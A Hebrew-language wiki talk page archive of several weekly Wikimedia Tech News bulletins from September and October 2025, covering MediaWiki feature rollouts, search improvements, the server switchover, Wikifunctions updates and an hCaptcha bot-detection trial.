להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/36|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* צוות העריכה מעוניין לאסוף רשימה של תבניות, מושגים מקצועיים וסוגי מדיניות המשמשים בתקצירי עריכה בטיפול בהפרות זכויות יוצרים. זה יעזור להם לזהות את כמות העריכות המשוחזרות עקב בעיות רישוי. חברי הקהילה מאתרי ויקי הבאים מוזמנים למנות את המושגים הללו ב[[Phab:T402601|פבריקטור]], או לשתף אותם עם המשתמש [[#2|Trizek (WMF)]]: {{int:project-localized-name-arwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-cswiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-dewiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-enwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-eswiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-fawiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-frwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-hewiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-idwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-itwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-jawiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-kowiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-nlwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-plwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-ptwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-trwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-ukwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-viwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-zhwiki/he}}. המיזם פתוח עד ל-9 בספטמבר 2025.

'''עדכונים לעורכים'''
* הרחבת [[mw:Special:MyLanguage/Help:Extension:CampaignEvents|CampaignEvents]] הופעלה בכל אתרי ויקיטקסט. היא מקלה על ארגון פעילויות משותפות באתרי ויקי והשתתפות בהן, למשל במרתוני עריכה ומיזמי ויקי. להרחבה יש שלושה כלים: [[m:Special:MyLanguage/Event Center/Registration|רישום אירוע]], [[m:Special:MyLanguage/CampaignEvents/Collaboration list|רשימת שיתופי פעולה]] ו[[m:Special:MyLanguage/Connection Team/Invitation list|רשימת הזמנות]]. כדי לבקש להפעיל את ההרחבה באתר ויקי מסוים יש לפנות לדף המידע על פריסה. [https://meta.wikimedia.org/wiki/CampaignEvents/Deployment_status#How_to_Request_the_CampaignEvents_Extension_for_your_wiki]
* הרשימות בתחתית ממשק עריכה, דוגמת &quot;תבניות המופיעות בדף זה&quot;, יאורגנו מעכשיו בעמודות אם יש מספיק מקום. זה יצמצם את הצורך בגלגול הדף בעריכת ערכים גדולים. [https://phabricator.wikimedia.org/T401066]
* החל מ-3 בספטמבר כל המשתמשים בוויקיפדיות הסינית, הצרפתית והפורטוגזית ישתתפו ב&quot;[[mw:Special:MyLanguage/Moderator Tools/Watchlist/Experiment#Scope of the experiment|ניסוי מפסק קיבוץ עריכות]]&quot; בדפים &lt;code&gt;Special:RecentChanges&lt;/code&gt;, &lt;code&gt;Special:Watchlist&lt;/code&gt;, ו-&lt;code&gt;Special:RelatedChanges&lt;/code&gt;. מטרת הוספת יותר עורכים לניסוי היא לוודא שישנו מספיק מידע כדי לקבל החלטה מודעת לגבי תוצאות הניסוי. [https://phabricator.wikimedia.org/T402958][https://phabricator.wikimedia.org/T396789]
* המשתמשים הלא מחוברים בוויקיפדיה האנגלית יקבלו מ-22 בספטמבר הצעות קריאה בלחיצה על שדה חיפוש ריק. זה יקרה במצב מחשב ובמצב נייד כאחד. כל אתרי ויקי שלא באנגלית קיבלו את הכלי ביוני ויולי. המטרה היא להקל על משתמשים למצוא ערכים. ניתן לקבל [[mw:Special:MyLanguage/Reading/Web/Content Discovery Experiments/Search Suggestions|פרטים נוספים]].
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:37|התקלה שדווחה|כל {{formatnum:37}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.17|MediaWiki]]

'''לעומק'''
* בוויקיפונקציות הופעל מעכשיו טיפוס נתונים חדש, enumeration. מדובר ברשימה סגורה של ערכים אפשריים שהוגדרו מראש. הוא יאפשר שימוש מהיר ופשוט בערכים כאלו, וגם ירשה שימוש חוזר בנתונים שכבר נמצאים בוויקינתונים. ניתן לקרוא [[f:Special:MyLanguage/Wikifunctions:Status updates/2025-07-19|מידע נוסף]].
* הגיליון בחדש של [[mw:Special:MyLanguage/Readers/Newsletter updates#August 2025: Newsletter #1|עיתון הקוראים]] יצא לאור. המהדורה כוללת, בין היתר: יצירת שני צוותים חדשים, Reader Growth ו-Reader Experience, מחשבות על דחיית תצוגה מקדימה של ערכים ויצירת דפים, דגשים מדיון בוויקימניה ניירובי על שיפור חווית הקריאה, הניסויים הקרבים שנועדו למשוך קוראים, חדשים וקיימים, ועוד נושאים.

'''פגישות ואירועים'''
* כמה נקודות מוויקימניה 2025:
** זיהוי טקסט שנוצר בידי AI באמצעות חיפוש ערכי ISBN בעלי סיכום ביקורת, checksum, שגוי: מתיאס שינדלר מ-WMDE&amp;rlm; [https://www.youtube.com/watch?v=Dw9o8Lsl974&amp;t=15910s סיפר על כלים שיעזרו לקהילות בחיפוש].
** הדיון &quot;[https://wikimedia.eventyay.com/talk/wikimania2025/talk/TCHZKH/ La durabilité du mouvement Wikimedia face aux défis actuels et futurs]&quot;: איך ויקימדיה תוכל להישאר מקור מהימן של ידע בעידן ה-AI הגנרטיבי, נחשול הידע ומידע מטעה.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/36|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W36&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 23:51, 1 בספטמבר 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29196010 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 37 ==

&lt;section begin=&quot;technews-2025-W37&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/37|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* צוות העריכה עובד על בדיקה חדשה, [[mw:Special:MyLanguage/Paste check|בדיקת הדבקה]]. היא מודיעה למשתמשים חדשים שמדביקים טקסט לתוך ויקיפדיה שהתוכן עלול להפסל. מדובר במאמץ להגדיל סיכויי התאמת התוכן של המשתמשים הטריים להתחייבות התנועה לשימוש ברישיון חופשי. הבדיקה תופעל בקרוב בכמה אתרי ויקי בתור ניסוי, לא כולל אתרים בעברית. אם קהילתכם מעוניינת להצטרף לניסוי, ניתן [[phab:T403680|לספר לנו בפבריקטור]] או [[mw:Talk:Edit check|להודיע לצוות]].

'''עדכונים לעורכים'''
* [[File:Octicons-tools.svg|12px|link=|class=skin-invert|דיווח טכני]] בהמשך השבוע יוכלו המשתמשים של [[Special:Preferences#mw-prefsection-betafeatures|תכונת הבטא]] &quot;{{int:codemirror-beta-feature-title}}&quot; להשתמש ב[[w:he:לינט (תכנות)|לינטר חדש]] להצגת שגיאות או בעיות אפשריות אחרות בקוד ויקי בזמן אמת. ניתן לקבל [[mw:Special:MyLanguage/Help:Extension:CodeMirror#Linting|פרטים נוספים]] בדף העזרה. [https://phabricator.wikimedia.org/T381577]
* [[File:Octicons-tools.svg|12px|link=|class=skin-invert|דיווח טכני]] כשפותחים דף ויקי, למשל &lt;code dir=ltr&gt;en.wikipedia.org&lt;/code&gt;, התוכנה מפעילה אחד מהשניים: תצוגת מחשב, או הפניה לתצוגת ניידים באמצעות הדומיין &quot;m&quot;, דוגמת &lt;code dir=ltr&gt;en.m.wikipedia.org&lt;/code&gt;. בשלושת השבועות הבאים תעביר מדיה-ויקי את גרסת הניידים לכתובת תקנית אחידה של תצוגת מחשב, ללא צורך בהפניה. השינוי לא ישפיע על כתובות קיימים עם &quot;m&quot;, או על התנתקות ממצב מחשבים בהעדפות. ניתן [[mw:Requests for comment/Mobile domain sunsetting/2025 Announcement|לקבל מידע נוסף]]. [https://phabricator.wikimedia.org/T214998]
* מעכשיו כשעריכה משנה את הקטגוריות של הדף, השינויים לשיוך לקטגוריות יבוצעו בצורה אסינכרונית. זה ישפר את מהירות שמירת העריכות, במיוחד בהעברת הרבה דפים מקטגוריה או אליה, ויצמצם את הסיכון לנפילת האתר, אבל ספירת הדפים בקטגוריות עלולה להציג מספרים שגויים בדקות הראשונות. [https://phabricator.wikimedia.org/T365303] 
* מעכשיו לא יוצגו יותר באופן זמני ברשימות המעקב ובשינויים האחרונים מחוץ לוויקינתונים עריכות ויקינתונים של qualifiers ושל references, בתכונות וערכים כאחד. זה נועד לשפר ביצועים בזמן בניית פתרונות אחרים. המידע המוצג בוויקינתונים לא ישתנה. [https://phabricator.wikimedia.org/T401286][https://phabricator.wikimedia.org/T400698]
* אתרי ויקי דוברי יפנית שודרגו בצורה משמעותית בנושא חיפוש ויקי. החיפוש החדש יהיה מדויק יותר ויחזיר תוצאות רלוונטיות יותר. [https://phabricator.wikimedia.org/T318269]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:31|התקלה שדווחה|כל {{formatnum:31}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.18|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/37|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W37&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 04:15, 9 בספטמבר 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29238161 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 38 ==

&lt;section begin=&quot;technews-2025-W38&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/38|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* הערות שוליים המוצגות באמצעות [[mw:Special:MyLanguage/Help:Cite#references-tag|תגית HTML]] בשם &lt;code dir=ltr&gt;&lt;nowiki&gt;&lt;references/&gt;&lt;/nowiki&gt;&lt;/code&gt; יוצגו מעכשיו אוטומטית בעמודות בווקטור החדש כשהקוראים משתמשים בערכי ברירת מחדל לגודל הגופן ורוחב הדף. [https://phabricator.wikimedia.org/T334941]
* החל מהשבוע של 6 באוקטובר באתרי ויקי [[gitiles:operations/mediawiki-config/+/a2d2aaab9ace84280dd2f4c70a33bb69cd73850f/dblists/small.dblist|קטנים]] ו[[gitiles:operations/mediawiki-config/+/a2d2aaab9ace84280dd2f4c70a33bb69cd73850f/dblists/medium.dblist|בינוניים]], כולל אתרים בעברית ללא ויקיעברית, שמותקנת בהם הרחבת [[mw:Special:MyLanguage/Help:Extension:CampaignEvents|CampaignEvents]], יוכלו כל עורכים ותיקים להשתמש ב[[m:Special:MyLanguage/Event Center/Registration|רשם האירועים]] בתור כלי לארגון. לא יהיו שינויים באתרי ויקי [[gitiles:operations/mediawiki-config/+/a2d2aaab9ace84280dd2f4c70a33bb69cd73850f/dblists/large.dblist|גדולים]], כולל ויקיעברית, ללא בקשה מפורשת בפבריקטור. השינוי נועד להקל על אנשים נוספים להשתמש ברשם האירועים, במיוחד באתרי ויקי בהם פחות סביר קיום מדיניות לגבי הרשאות בעניין. ניתן לקבל [[m:Special:MyLanguage/CampaignEvents/Proposal to grant autoconfirmed users on small and medium wikis the organizer access to the event registration tool|פרטים נוספים]].
* המשתמשים המבצעים חיפוש ויקי באמצעות ביטויים רגולריים מקבלים עכשיו אפשרויות נוספות:
** המילה &lt;code dir=ltr&gt;intitle:&lt;/code&gt;: [[mw:Special:MyLanguage/Help:CirrusSearch#Metacharacters|תווי מטא]] לתחילת שורה (&lt;code dir=ltr&gt;^&lt;/code&gt;) ולסיום שורה (&lt;code dir=ltr&gt;$&lt;/code&gt;) [https://phabricator.wikimedia.org/T317599]
** המילים: &lt;code dir=ltr&gt;intitle:&lt;/code&gt; וגם &lt;code dir=ltr&gt;insource:&lt;/code&gt;: קיצורי [[mw:Special:MyLanguage/Help:CirrusSearch#Character_Classes|מחלקות תווים]] לספרות (&lt;code dir=ltr&gt;\d&lt;/code&gt;), שטח לבן (&lt;code dir=ltr&gt;\s&lt;/code&gt;), תווי מילים באנגלית (&lt;code dir=ltr&gt;\w&lt;/code&gt;), וגם [[mw:Special:MyLanguage/Help:CirrusSearch#Escape codes|קודים למילוט]] לסיום שורה (&lt;code dir=ltr&gt;\r&lt;/code&gt;), מעבר שורה (&lt;code dir=ltr&gt;\n&lt;/code&gt;), סימן טאב (&lt;code dir=ltr&gt;\t&lt;/code&gt;), ותווי יוניקוד (בצורת &lt;code dir=ltr&gt;\uHHHH&lt;/code&gt;). [https://phabricator.wikimedia.org/T403212]
* בחיפוש טקסט שנראה כמו כתובת IP יוצגו תוצאות חיפוש כרגיל. עד כה נעשה מעבר לדף התרומות של ה-IP.&amp;rlm; [https://phabricator.wikimedia.org/T306325]
* כל אתרי ויקי יהפכו ל[[m:Special:MyLanguage/Tech/Server switch|אתרים לקריאה בלבד]] למשך כמה דקות ב-24 בספטמבר, בסביבות [https://zonestamp.toolforge.org/1758726000 15:00 UTC] (או 18:00 שעון ישראל). בזמן הזה יתקיימו בדיקות עבור מעבר בין מרכזי מידע המתקיים פעמיים בשנה. ניתן לקרוא [[diffblog:2025/03/12/hear-that-the-wikis-go-silent-twice-a-year/|פרטים על רקע ופירוט התהליך בבלוג ב-Diff]].
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:24|התקלה שדווחה|כל {{formatnum:24}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן הבאג שהפריע לעורכים המשתמשים בכפתורים &quot;עריכת קוד מקור&quot; ו&quot;עריכה&quot; במעלה הדף למעבר מעריכת קוד ויקי של פרק בדף לעורך החזותי. [https://phabricator.wikimedia.org/T401043]

'''עדכונים לעורכים הטכניים'''
* צוות הממשקים של מדיה-ויקי משנה עיצוב בארגז החול של REST API של ויקימדיה באמצעות Codex. ניתן להשאיר משוב על השיפורים עבור התיעוד או לגבי איך העבודה הופכת לחלקה יותר או מעצבנת יותר ב[https://calendar.google.com/calendar/u/0/appointments/schedules/AcZssZ2aZzbXeQvjOF7gB1fJXiwAYemQjKf4sXNaRODPA7_obFyNBwkzNkoVCoTF-aeov89kIjXHbCQm ראיון הגילוי הצפוי] או [[mw:MediaWiki Interfaces Team/Developer Feedback/Wikimedia Web APIs|ישירות באתר ויקי]]. ניתן [[listarchive:list/wikitech-l@lists.wikimedia.org/thread/C4FBAOA57PH6G5ORVMAUF5TGYBLZDU5Q/|לקרוא עוד]].
* עריכות ויקינתונים של שמות נרדפים לפריטים או תכונות יוצגו עכשיו לעתים רחוקות יותר בדפי השינויים האחרונים וברשימות המעקב באתרי ויקי מחוץ לוויקינתונים, כדי להוריד את כמות ההודעות, ובכך לצמצם את ה&quot;רעש&quot;. לא יהיה שינוי באתר ויקינתונים עצמו. ניתן לקבל [[m:Wikidata For Wikimedia Projects/Reduce change propagation noise#Phase 1: More granular Alias tracking|פרטים נוספים]]. [https://phabricator.wikimedia.org/T401288]
* [https://www.unicode.org/versions/Unicode17.0.0/ הגרסה 17.0] של יוניקוד יצאה לאוויר העולם. נעשה עדכון ב[[:c:Category:Unicode Module Datasets|קבוצות המידע בוויקישיתוף]] עבור היחידה [[:d:Q39301585|Unicode data]]. ויקיפדיות שלא משתמשות בקבוצות הנתונים חייבות לעדכן את הנתונים המקומיים או לעבור לוויקישיתוף.
* משתמשי נקודות הקצה בתוכן המבני של [[m:Special:MyLanguage/Wikimedia Enterprise|Wikimedia Enterprise]] קיבלו גישה ל[https://enterprise.wikimedia.com/blog/parsed-wikipedia-tables/ טבלאות מפורסרות]. התכונה החדשה מוציאה תוכן מטבלאות ויקיפדיה והופכת אותו ל-JSON. זה משפר גישה אוטומטית כחלק מ[https://enterprise.wikimedia.com/api/structured-contents/ יוזמת התוכן המבני]. פלט התוכן המבני זמין חופשי באמצעות [https://enterprise.wikimedia.com/docs/on-demand/#article-structured-contents-beta API לפי דרישה], או שירותי הענן של ויקימדיה. 
* [https://www.kaggle.com/datasets/wikimedia-foundation/english-wikipedia-people-dataset קבוצת הנתונים של מידע ביוגרפי מתוך ויקיאנגלית], המגיע מ-[[m:Special:MyLanguage/Wikimedia Enterprise|Wikimedia Enterprise]], פורסם ב-Kaggle, להערכה ומחקר. קיים מידע מבני מיותר ממיליון וחצי ביוגרפיות, כולל תאריכי חיים, חינוך, מקומות עבודה, קריירה, פרסים ועוד. המידע תקף ליוני 2024.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.19|MediaWiki]]

'''פגישות ואירועים'''
* ניתן להגיש עד 31 אוקטובר [[wmania:Special:MyLanguage/2026:Scholarships|בקשות למלגות]] לוויקימניה 2026 בפריז, בירת צרפת.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/38|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W38&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 20:08, 15 בספטמבר 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29263921 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 39 ==

&lt;section begin=&quot;technews-2025-W39&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/39|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* בתאריך [https://zonestamp.toolforge.org/1758726000 24 בספטמבר בשעה 15:00 UTC] (או 18:00 שעון ישראל) יעברו כל אתרי ויקי של הקרן למצב של קריאה בלבד למשך זמן קצר בהתאם ל[[m:Special:MyLanguage/Tech/Server switch|מעבר בין שרתי מידע מרכזיים]] המתוכנן. צוות האמינות ההנדסית של האתר בקרן (SRE) יפנה את כל התנועה משרת ראשי אחד למשנהו למען גיבוי. ניתן להקשיב למעבר באמצעות הכלי [http://listen.hatnote.com/ &quot;להקשיב לוויקיפדיה&quot;], שם תוכלו לשמוע עריכות עוצרות למשך זמן ההפסקה וחוזרות לאחריה. המעבר הנעשה פעמיים בשנה מבטיח אמינות באמצעות בדיקת שני השרתים, כך שהאתרים יישארו באוויר גם אם השרת הראשי ייפול. ניתן לקרוא פרטים נוספים על התהליך ב[[diffblog:2025/03/12/hear-that-the-wikis-go-silent-twice-a-year/|בלוג של Diff]].

'''עדכונים לעורכים'''
* עורכים ב[[f:Special:Mylanguage/Wikifunctions:Status updates/2025-09-12#Next round of Wiktionaries to receive embedded Wikifunctions calls|יותר מ-60 אתרי ויקימילון]], לא כולל בעברית, יוכלו בקרוב לקרוא ל[[f:Special:MyLanguage/Wikifunctions:Introduction|הפונקציות מאתר ויקיפונקציות]] ולשלב אותן בדפים. פונקציות לוקחת פרמטר אחד או יותר והופכת אותם לתוצאה הרצויה, כמו בחיבור מספרים, המרת מיילים למטרים, חישוב הזמן שעבר מרגע מסוים, או הטיית מילים ל[[w:he:יחסה|יחסה]]. בכך הם יצטרפו ל-[[f:Special:MyLanguage/Wikifunctions:Status updates/2025-08-29#Wikifunctions available on 65 Wiktionaries|65 אתרי ויקימילון נוספים]], לא כולל בעברית, שכבר יש להם גישה לוויקיפונקציות.  בהמשך השנה מתוכננת פריסה נוספת לאתרי ויקימילון ואינקובטור.
* נוספה [[mw:Special:MyLanguage/Help:Magic words#Technical metadata of another page|פונקציית פרסר חדשה]] בשם &lt;code&gt;&lt;nowiki&gt;{{#contentmodel}}&lt;/nowiki&gt;&lt;/code&gt;. עורכי התבניות ומפעילים יכולים להשתמש בה כדי לקבל שם מקומי או קנוני של [[mw:Special:MyLanguage/Help:ChangeContentModel|contentmodel]] של דף מסוים. נעשה קל יותר ליצור ולערוך הודעות מערכת, דוגמת ''MediaWiki:editinginterface'', גם כשישנם סוגי דפים שונים, כמו דפי קוד ויקי, JavaScript&amp;rlm; CSS או JSON.&amp;rlm; [https://phabricator.wikimedia.org/T328254]
* הוספה או עריכה של &lt;code&gt;DISPLAYTITLE&lt;/code&gt; לערכים בעורך החזותי לא מקולקלת יותר. עורכים בעורך החזותי ששינו את &lt;code&gt;&lt;nowiki&gt;{{DISPLAYTITLE}}&lt;/nowiki&gt;&lt;/code&gt; לא יקבלו יותר את המילה &quot;DISPLAYTITLE&quot; או את הגרסה המקומית שלה פיזית בערך. רשימת הדפים שיוכלו להיפגע פורסמה ב[[phab:P83438|פבריקטור]]. 
* משתמשי בטא של יישומון ויקיפדיה לאנדרואיד יכולים לנסות את [[mw:Special:MyLanguage/Wikimedia Apps/Team/Android/Activity Tab Experiment|כרטיסיית הפעילות]] עם העיצוב החדש, שבאה להחליף את כרטיסיית העריכה. הכרטיסייה החדשה מציעה מידע אישי לגבי קריאה, עריכה והתרמה. זה הקל על הניווט, מה שהפך את היישומון לנגיש יותר.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:12|התקלה שדווחה|כל {{formatnum:12}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.20|MediaWiki]]

'''לעומק'''
* משתמשי ויקיפונקציות יכולים עכשיו לייבא הרבה עובדות חיוניות בנושאי [[f:Special:MyLanguage/Z6011|קואורדינטות גאוגרפיות]], [[f:Special:MyLanguage/Z6010|כמויות]] ו[[f:Special:MyLanguage/Z6064|זמן]] מוויקינתונים. זה התאפשר באמצעות יצירת סוגי נתונים של ויקיפונקציות עבור הערכים הללו, ולכן עכשיו ניתן לשלב אותם בפונקציות של ויקיפונקציות. ניתן ללמוד עוד על איך זה עובד ב[[c:File:ImportingWikidataDatatypesIntoWikifunctions.webm|סרטון וידאו]] ובמכתבים שנשלחו מוויקיפונקציות ב-[[f:Special:MyLanguage/Wikifunctions:Status updates/2025-08-01#News in Types I: Wikidata quantity|1 באוגוסט על כמויות]] וב-[[f:Special:MyLanguage/Wikifunctions:Status updates/2025-08-22#News in Types: Wikidata geo-coordinate|22 באוגוסט על קואורדינטות]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/39|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W39&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 01:56, 23 בספטמבר 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29305556 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 40 ==

&lt;section begin=&quot;technews-2025-W40&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/40|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* עדכון תוכנה משמעותי נעשה ב[[phab:|פבריקטור]]. העדכון מביא לשיפור ביעילות, מוסיף ממשק חיפוש מחודש, שיפורים לחיפוש בעיות במניפסט, עדכונים לדפי הפרופיל של משתמשים וללוחות עבודה של מיזמים, כלים אוטומטיים חדשים של Herald ושל הכנסת הטקסט, שיפורים בחוויית ניידים ועוד. [https://phabricator.wikimedia.org/phame/post/view/321/iterative_improvements_september_2025/]

'''עדכונים לעורכים'''
* צוות הקהילה ישחרר ב-1 באוקטובר הרחבה חדשה עבור סקר משאלות הקהילה כדי לשפר את דרך הגשת המשאלות. ההרחבה החדשה תאפשר למשתמשים לתייג את המשאלות לקטגוריזציה טובה יותר, וכדי שבעתיד ניתן יהיה לסנן לפי סטטוס, תיוגים ושטחי מיקוד. שוב ניתן להגיש משאלות אישיות, כפי שהקהיליות ביקשו בהרבה הזדמנויות. המערכת הישנה תוסר. תהיה תקופה קצרה של הפסקת פעילות למען פריסת ההרחבה ומעבר המשאלות הקיימות לתוכה. ניתן לקרוא פרטים נוספים ב[[:m:Special:MyLanguage/Community Wishlist/Updates|עדכון האחרון]] או לעיין ב[[:mw:Special:MyLanguage/Help:Extension:CommunityRequests|תיעוד]] הקיים במדיה-ויקי.
* כפי שפורסם ב[[diffblog:2025/09/02/better-detecting-bots-and-replacing-our-captcha/|בלוג ב-Diff]], החלה תקופת ההרצה של שירות [[mw:Special:MyLanguage/Product Safety and Integrity/Anti-abuse signals/hCaptcha|hCaptcha]] לגילוי הבוטים. הניסוי משתמש ב-hCaptcha להגנה מפני יצירת חשבונות בוויקיפדיות הסינית, הפרסית, הפורטוגזית, האינדונזית, היפנית והטורקית, שם השירות החדש יחליף את [[mw:Special:MyLanguage/Extension:ConfirmEdit#FancyCaptcha|FancyCaptcha]] הקיימת. מטרת הניסוי היא לחסום בוטים בצורה טובה יותר תוך כדי שיפור יעילות ונגישות למשתמשים שנתקלים באתגרי CAPTCHA.
